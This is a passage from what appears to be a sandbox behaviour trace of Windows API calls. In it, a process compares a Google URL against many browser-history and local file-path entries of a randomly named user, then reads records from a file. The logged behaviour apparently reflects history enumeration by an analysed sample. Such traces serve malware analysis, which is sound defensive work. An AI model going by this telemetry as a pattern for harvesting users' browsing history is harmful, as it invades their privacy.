returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/oe_9.docx") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/zgid.png") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/hp0a.pptx") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/8wgzy1b.png") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/w39fbpx.pptx") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/c40oh8.xlsx") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/sa--kau.pptx") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/0mck7qex.odt") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/nzix0sllab7kos.flv") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/wf26tyfkwvqf2by4bhd.gif") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/fl_cd2j6qblgazwa2sql.odp") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/7got.flv") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/1af7s2.pdf") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/usy6mrdrok9xbj.jpg") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/fqiucen.pptx") returned 1 [0069.179] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/mx7wx4e_2m.ods") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/jgo-nkt.pptx") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/xortiubcm%209dtd-.xlsx") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/wovpfsxpf7ltov.xlsx") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/m4b.xls") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/o4g%208wql.ots") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/p61kxiadv1lk3os9qi3q.rtf") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/4_0e8edve.flv") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/ss5todkecrcizvrpi.flv") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/dmwuzqljb06l.flv") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/epgdsrurpjc0tqtqve.jpg") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ggpyrx2ux.png") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/olryse9.pptx") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/w6ad.gif") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/y8zipz.mkv") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/srhckdi.pps") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/fcg74r-hlzx8kpasejr.xls") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/8hx4xzitippukbdb.ots") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/e6gqzqsfu-.ppt") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/h1hmwuywez_o3tm.docx") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="http://google.com") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/asrj.csv") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/pmrh0a5jwr.flv") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yhgdbpj3cxkhlw.gif") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/yelia.bmp") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/xmyeovegmrzxalkg.bmp") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/uosl_1fjka5.flv") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/5h_jfktd9t3cfjg_0bpl.gif") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/fd%200eikyigmitdbhxtw.flv") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/o0q4ua6i.mkv") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/rt-vvidbgwyx6u.gif") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="https:url \x02") returned -1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="http://www.google.de/") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="https://support.microsoft.com/products/internet-explorer") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="https://support.microsoft.com/internet-explorer") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="https://ieonline.microsoft.com/favicon.ico") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="http://go.microsoft.com/fwlink/") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="http://www.msn.com/") returned 1 [0069.180] wcscmp (_String1="https://www.google.de/", _String2="https://www.google.de/") returned 0 [0069.180] SetFilePointer (in: hFile=0xcc, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100 [0069.181] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.181] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.181] _strlwr (in: _Str=":Host: www.google.de" | out: _Str=":host: www.google.de") returned=":host: www.google.de" [0069.181] wcscmp (_String1=":host: www.google.de", _String2=":host: www.msn.com") returned -1 [0069.181] wcscmp (_String1=":host: www.google.de", _String2="http://www.msn.com/de-de/") returned -1 [0069.181] wcscmp (_String1=":host: www.google.de", _String2=":host: computer") returned 1 [0069.181] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png") returned -1 [0069.181] wcscmp (_String1=":host: www.google.de", _String2=":host: www.google.de") returned 0 [0069.181] SetFilePointer (in: hFile=0xcc, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200 [0069.181] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.181] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.181] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5280 [0069.181] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.181] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.181] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300 [0069.181] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.181] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.181] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5380 [0069.181] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.181] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.181] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5400 [0069.181] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.181] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.181] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5480 [0069.181] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.181] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.181] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5500 [0069.181] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.181] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.181] SetFilePointer (in: hFile=0xcc, lDistanceToMove=21888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5580 [0069.181] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.181] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.181] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600 [0069.181] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.181] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.181] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5680 [0069.181] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.182] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.182] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5700 [0069.182] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.182] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.182] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5780 [0069.182] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.182] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.182] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800 [0069.182] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.182] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.182] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5880 [0069.182] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.182] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.182] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900 [0069.182] ReadFile (in: 